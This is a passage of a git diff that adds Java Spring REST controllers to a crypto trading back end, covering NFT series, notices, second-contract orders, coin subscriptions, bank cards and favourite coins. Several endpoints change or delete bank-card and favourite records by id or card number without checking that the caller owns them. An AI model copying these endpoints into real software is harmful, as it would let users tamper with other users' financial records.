tNftProduct) + { + return toAjax(tNftProductService.updateTNftProduct(tNftProduct)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java new file mode 100644 index 0000000..a37c1a6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java @@ -0,0 +1,45 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TNftProduct; +import com.ruoyi.bussiness.domain.TNftSeries; +import com.ruoyi.bussiness.service.ITNftProductService; +import com.ruoyi.bussiness.service.ITNftSeriesService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.List; + +/** + * nft合计Controller + * + * @author ruoyi + * @date 2023-09-01 + */ +@RestController +@RequestMapping("/api/series") +public class TNftSeriesController extends BaseController +{ + @Resource + private ITNftSeriesService tNftSeriesService; + + /** + * 查询nft合计列表 + */ + @PostMapping("/list") + public TableDataInfo list(@RequestBody TNftSeries tNftSeries) + { + startPage(); + List list = tNftSeriesService.selectTNftSeriesList(tNftSeries); + return getDataTable(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java new file mode 100644 index 0000000..e16f134 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java @@ -0,0 +1,167 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.NoticeTypeEnum; +import com.ruoyi.common.utils.StringUtils; +import org.apache.poi.util.StringUtil; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TNotice; +import com.ruoyi.bussiness.service.ITNoticeService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 通知公告Controller + * + * @author ruoyi + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/api/notice") +public class TNoticeController extends BaseController +{ + @Autowired + private ITNoticeService tNoticeService; + + @PostMapping("/list") + public AjaxResult list(TNotice tNotice,HttpServletRequest httpRequest) + { + String lang = httpRequest.getHeader("Lang"); + if (StringUtils.isNotBlank(lang)){ + tNotice.setLanguageId(lang); + } + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List list = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:list) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + return AjaxResult.success(list); + } + @PostMapping("/getAllNoticeList") + public AjaxResult getAllNoticeList(HttpServletRequest httpRequest) + { + Map> map = new HashMap<>(); + String lang = httpRequest.getHeader("Lang"); + TNotice tNotice = new TNotice(); + TNotice tNotice2 = new TNotice(); + tNotice.setKey("ACTIVITY_NOTICE"); + tNotice.setModelKey("HOME_ACTIVITY"); + if (StringUtils.isNotBlank(lang)){ + tNotice.setLanguageId(lang); + tNotice2.setLanguageId(lang); + } + tNotice.setNoticeType(NoticeTypeEnum.valueOf(tNotice.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice.getModelKey())){ + tNotice.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice.getModelKey()).getCode()); + } + startPage(); + List tNotices = tNoticeService.selectTNoticeList(tNotice); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:tNotices) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + map.put("ACTIVITY_NOTICE",tNotices); + + + + tNotice2.setKey("ROLL_NOTICE"); + tNotice2.setNoticeType(NoticeTypeEnum.valueOf(tNotice2.getKey()).getCode()); + if (StringUtils.isNotBlank(tNotice2.getModelKey())){ + tNotice2.setModelType(NoticeTypeEnum.ChildrenEnum.valueOf(tNotice2.getModelKey()).getCode()); + } + startPage(); + List tNotices1 = tNoticeService.selectTNoticeList(tNotice2); + NoticeTypeEnum[] typeEnumList1 = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList1 = NoticeTypeEnum.ChildrenEnum.values(); + for (TNotice notice:tNotices1) { + if (notice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList1.length; i++) { + if (notice.getNoticeType().equals(childrenEnumList1[i].getPrent().getCode()) && childrenEnumList1[i].getCode().equals(notice.getModelType())){ + notice.setModelType(childrenEnumList1[i].getValue()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList1) { + if (typeEnum.getCode().equals(notice.getNoticeType())){ + notice.setNoticeType(typeEnum.getValue()); + } + } + } + map.put("ROLL_NOTICE",tNotices1); + return AjaxResult.success(map); + } + /** + * 获取通知公告详细信息 + */ + @GetMapping(value = "/{noticeId}") + public AjaxResult getInfo(@PathVariable("noticeId") Long noticeId) + { + TNotice tNotice = tNoticeService.selectTNoticeByNoticeId(noticeId); + NoticeTypeEnum[] typeEnumList = NoticeTypeEnum.values(); + NoticeTypeEnum.ChildrenEnum[] childrenEnumList = NoticeTypeEnum.ChildrenEnum.values(); + if (tNotice.getModelType()!=null){ + for (int i = 0; i < childrenEnumList.length; i++) { + if (tNotice.getNoticeType().equals(childrenEnumList[i].getPrent().getCode()) && childrenEnumList[i].getCode().equals(tNotice.getModelType())){ +// tNotice.setModelType(childrenEnumList[i].getValue()); + tNotice.setModelKey(childrenEnumList[i].name()); + } + } + } + for (NoticeTypeEnum typeEnum:typeEnumList) { + if (typeEnum.getCode().equals(tNotice.getNoticeType())){ +// tNotice.setNoticeType(typeEnum.getValue()); + tNotice.setKey(typeEnum.name()); + } + } + return success(tNotice); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java new file mode 100644 index 0000000..707ce59 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java @@ -0,0 +1,54 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.enums.OptionRulesEnum; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TOptionRules; +import com.ruoyi.bussiness.service.ITOptionRulesService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 前台文本配置Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/api/option/rules") +public class TOptionRulesController extends ApiBaseController +{ + @Autowired + private ITOptionRulesService tOptionRulesService; + + @PostMapping("/list") + public AjaxResult list(TOptionRules tOptionRules, HttpServletRequest httpRequest) + { + String lang = httpRequest.getHeader("Lang"); + if (StringUtils.isNotBlank(lang)){ + tOptionRules.setLanguage(lang); + } + tOptionRules.setType(OptionRulesEnum.valueOf(tOptionRules.getKey()).getCode()); + List list = tOptionRulesService.selectTOptionRulesList(tOptionRules); + return AjaxResult.success(list); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java new file mode 100644 index 0000000..ad499a1 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java @@ -0,0 +1,58 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.dev33.satoken.stp.StpUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TOwnCoin; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import com.ruoyi.bussiness.service.ITOwnCoinService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.SecurityUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 发币Controller + * + * @author ruoyi + * @date 2023-09-18 + */ +@RestController +@RequestMapping("/api/ownCoin") +public class TOwnCoinController extends BaseController { + @Resource + private ITOwnCoinService tOwnCoinService; + + /** + * 查询发币列表 + */ + @PostMapping("/list") + public AjaxResult list(String status) { + + return AjaxResult.success(tOwnCoinService.ownCoinList(status)); + } + + /** + * 订阅新币 + */ + @PostMapping("/subscribeCoins") + public AjaxResult subscribeCoins(@RequestBody TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder) { + + return tOwnCoinService.subscribeCoins(tOwnCoinSubscribeOrder); + } + + /** + * 查询发币列表 + */ + @GetMapping("/getDetail/{ownId}") + public AjaxResult getDetail(@PathVariable Long ownId) { + long userId = StpUtil.getLoginIdAsLong(); + return AjaxResult.success(tOwnCoinService.getDetail(userId,ownId)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java new file mode 100644 index 0000000..f5985b8 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java @@ -0,0 +1,76 @@ +package com.ruoyi.web.controller.bussiness; + +import cn.dev33.satoken.stp.StpUtil; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import com.ruoyi.bussiness.service.ITOwnCoinOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.List; +import java.util.Objects; + +/** + * 申购订单Controller + * + * @author ruoyi + * @date 2023-09-20 + */ +@RestController +@RequestMapping("/api/ownCoinOrder") +public class TOwnCoinOrderController extends BaseController +{ + @Resource + private ITOwnCoinOrderService tOwnCoinOrderService; + + /** + * 查询申购订单列表 + */ + @GetMapping("/list") + public TableDataInfo list(TOwnCoinOrder tOwnCoinOrder) + { + startPage(); + List list = tOwnCoinOrderService.selectTOwnCoinOrderList(tOwnCoinOrder); + return getDataTable(list); + } + /** + * 查询申购订单列表 + */ + @PostMapping("/createOrder") + public AjaxResult createOrder(@RequestBody TOwnCoinOrder tOwnCoinOrder) + { + tOwnCoinOrder.setUserId(StpUtil.getLoginIdAsLong()); + + if(tOwnCoinOrder.getNumber() == null || tOwnCoinOrder.getNumber() <= 0 || tOwnCoinOrder.getOwnId() == null){ + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + return AjaxResult.success(tOwnCoinOrderService.createOrder(tOwnCoinOrder)); + } + + /** + * 申购 + * + * @param tOwnCoinOrder + * @return + */ + @PostMapping("/placing") + public AjaxResult placing(@RequestBody TOwnCoinOrder tOwnCoinOrder){ + long userId = StpUtil.getLoginIdAsLong(); + if(Objects.isNull(tOwnCoinOrder) || + Objects.isNull(tOwnCoinOrder.getUserId()) || + !tOwnCoinOrder.getUserId().equals(userId)){ + return AjaxResult.error(MessageUtils.message("own.coin.error")); + } + return tOwnCoinOrderService.placingCoins(tOwnCoinOrder); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java new file mode 100644 index 0000000..a569073 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java @@ -0,0 +1,51 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.service.ITSecondCoinConfigService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 秒合约币种配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/api/coin") +public class TSecondCoinConfigController extends ApiBaseController +{ + @Autowired + private ITSecondCoinConfigService tSecondCoinConfigService; + + /** + * 查询秒合约币种配置列表 + */ + @PostMapping("/list") + public AjaxResult list() + { + List symbolList = tSecondCoinConfigService.getSymbolList(); + return AjaxResult.success(symbolList); + } + /** + * 获取秒合约币种配置详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSecondCoinConfigService.selectTSecondCoinConfigById(id)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java new file mode 100644 index 0000000..1e8219a --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java @@ -0,0 +1,71 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.domain.TSecondContractOrder; +import com.ruoyi.bussiness.service.ITSecondContractOrderService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 秒合约订单Controller + * + * @author ruoyi + * @date 2023-07-13 + */ +@RestController +@RequestMapping("/api/secondContractOrder") +public class TSecondContractOrderController extends ApiBaseController +{ + @Resource + private ITSecondContractOrderService tSecondContractOrderService; + + /** + * 新增秒合约订单 + */ + @PostMapping("/createSecondContractOrder") + public AjaxResult createSecondContractOrder(@RequestBody TSecondContractOrder tSecondContractOrder) + { + String secondContractOrder = tSecondContractOrderService.createSecondContractOrder(tSecondContractOrder); + if(!StringUtils.isNumeric(secondContractOrder)){ + return AjaxResult.error(secondContractOrder); + }else { + return AjaxResult.success(tSecondContractOrderService.selectTSecondContractOrderById(Long.valueOf(secondContractOrder))); + } + + } + + /** + * 查询秒合约订单 + */ + @PostMapping("/selectOrderList") + public AjaxResult selectOrderList(@RequestBody TSecondContractOrder tSecondContractOrder) + { + tSecondContractOrder.setUserId(getStpUserId()); + List list = tSecondContractOrderService.selectTSecondContractOrderList(tSecondContractOrder); + if(!CollectionUtils.isEmpty(list)){ + list.forEach(t->{ + Map params = new HashMap<>(); + params.put("createTime",Objects.nonNull(t.getCreateTime())?t.getCreateTime().getTime():0l); + t.setParams(params); + }); + } + return AjaxResult.success(list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java new file mode 100644 index 0000000..c2037f1 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java @@ -0,0 +1,41 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; +import com.ruoyi.bussiness.service.ITSecondPeriodConfigService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 秒合约币种周期配置Controller + * + * @author ruoyi + * @date 2023-07-11 + */ +@RestController +@RequestMapping("/api/period") +public class TSecondPeriodConfigController extends BaseController +{ + @Resource + private ITSecondPeriodConfigService tSecondPeriodConfigService; + + /** + * 查询秒合约币种周期配置列表 + */ + @PostMapping("/list") + public AjaxResult list(@RequestBody TSecondPeriodConfig tSecondPeriodConfig) + { + List list = tSecondPeriodConfigService.selectTSecondPeriodConfigList(tSecondPeriodConfig); + return AjaxResult.success(list); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java new file mode 100644 index 0000000..5c8446e --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java @@ -0,0 +1,52 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 币种管理Controller + * + * @author ruoyi + * @date 2023-07-12 + */ +@RestController +@RequestMapping("/api/symbolmanage") +public class TSymbolManageController extends ApiBaseController +{ + @Autowired + private ITSymbolManageService tSymbolManageService; + + /** + * 查询币种管理列表 + */ + @PostMapping("/list") + public TableDataInfo list(TSymbolManage tSymbolManage) + { +// startPage(); + tSymbolManage.setEnable("1"); + List list = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + return getDataTable(list); + } + + /** + * 获取币种管理详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSymbolManageService.selectTSymbolManageById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java new file mode 100644 index 0000000..0d3cb20 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java @@ -0,0 +1,87 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TUserBank; +import com.ruoyi.bussiness.service.ITUserBankService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * 银行卡Controller + * + * @author ruoyi + * @date 2023-08-21 + */ +@RestController +@RequestMapping("/api/userBank") +public class TUserBankController extends ApiBaseController +{ + @Autowired + private ITUserBankService tUserBankService; + + /** + * 保存银行卡信息 + * @param userBank + * @return + */ + @PostMapping("/save") + public AjaxResult save(@RequestBody TUserBank userBank) { + TAppUser user = getAppUser(); + TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper().eq(TUserBank::getUserId, user.getUserId()).eq(TUserBank::getCardNumber, userBank.getCardNumber())); + if (Objects.nonNull(oldBack)){ + return AjaxResult.error(MessageUtils.message("back.code.exist.error"),userBank.getCardNumber()); + } + userBank.setUserId(user.getUserId()); + userBank.setCreateTime(new Date()); + userBank.setUpdateTime(new Date()); + userBank.setAdminParentIds(user.getAdminParentIds()); + return AjaxResult.success(tUserBankService.save(userBank)); + } + + /** + * 银行卡列表 + * @return + */ + @PostMapping("/getbank") + public AjaxResult activityList() { + TAppUser user = getAppUser(); + List list = tUserBankService.list(new LambdaQueryWrapper().eq(TUserBank::getUserId, user.getUserId())); + return AjaxResult.success(list); + } + + @PostMapping("/update") + public AjaxResult update(@RequestBody TUserBank tUserBank) + { + TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper().eq(TUserBank::getCardNumber, tUserBank.getCardNumber())); + if (Objects.nonNull(oldBack) && oldBack.getId()!=tUserBank.getId()){ + return AjaxResult.error(tUserBank.getCardNumber()+"该银行卡已经存在"); + } + tUserBank.setUpdateTime(new Date()); + return toAjax(tUserBankService.updateTUserBank(tUserBank)); + } + + @PostMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tUserBankService.deleteTUserBankByIds(ids)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java new file mode 100644 index 0000000..c4935c4 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java @@ -0,0 +1,78 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TUserCoin; +import com.ruoyi.bussiness.service.ITUserCoinService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.*; +import java.util.stream.Collectors; + +@RestController +@RequestMapping("/api/userCoin") +public class TUserCoinController extends ApiBaseController { + + @Resource + private ITUserCoinService userCoinService; + + + /** + * 单个收藏 + * @param userCoin + * @return + */ + @PostMapping("/save") + public AjaxResult save(@RequestBody TUserCoin userCoin) { + TAppUser user = getAppUser(); + userCoin.setUserId(user.getUserId()); + userCoin.setCoin(userCoin.getCoin().toLowerCase()); + TUserCoin one = userCoinService.getOne(new LambdaQueryWrapper().eq(TUserCoin::getCoin, userCoin.getCoin()).eq(TUserCoin::getUserId,user.getUserId())); + if(null != one){ + return AjaxResult.success(); + } + return AjaxResult.success(userCoinService.save(userCoin)); + } + @PostMapping("/removeByCoin") + public AjaxResult remove(@RequestBody TUserCoin userCoin) + { + TAppUser user = getAppUser(); + userCoin.setUserId(user.getUserId()); + return toAjax(userCoinService.remove(new LambdaQueryWrapper().eq(TUserCoin::getCoin,userCoin.getCoin().toLowerCase()).eq(TUserCoin::getUserId,userCoin.getUserId()))); + } + /** + * 收藏列表 + * @return + */ + @PostMapping("/getUserCoin") + public AjaxResult getUserCoin() { + TAppUser user = getAppUser(); + List list = userCoinService.list(new LambdaQueryWrapper().eq(TUserCoin::getUserId, user.getUserId())); + return AjaxResult.success(list); + } + + + @PostMapping("/remove/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + List collect = Arrays.stream(ids).collect(Collectors.toList()); + return toAjax(userCoinService.removeByIds(collect)); + } + + + @PostMapping("/addBath") + public AjaxResult add(@RequestBody List userCoins) + { + TAppUser user = getAppUser(); + for (TUserCoin userCoin : userCoins) { + userCoin.setUserId(user.getUserId()); + } + userCoinService.removeByUserId(user.getUserId()); + return toAjax(userCoinService.saveBatch(userCoins)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java new file mode 100644 index 0000000..548454b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java @@ -0,0 +1,28 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.TimeZone; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * @author:michael + * @createDate: 2022/9/19 16:29 + */ +@RestController +@RequestMapping("/api/timezone") +public class TimeZoneController extends ApiBaseController { + + @PostMapping("/getTimeZone") + public AjaxResult getTimeZone() { + TimeZone timeZone = DateUtils.getTimeZone(); + return AjaxResult.success(timeZone); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java new file mode 100644 index 0000000..a1957d2 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java @@ -0,0 +1,212 @@ +package com.ruoyi.web.controller.common; + +import cn.dev33.satoken.stp.StpUtil; +import com.github.pagehelper.PageHelper; +import com.github.pagehelper.PageInfo; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.utils.*; +import 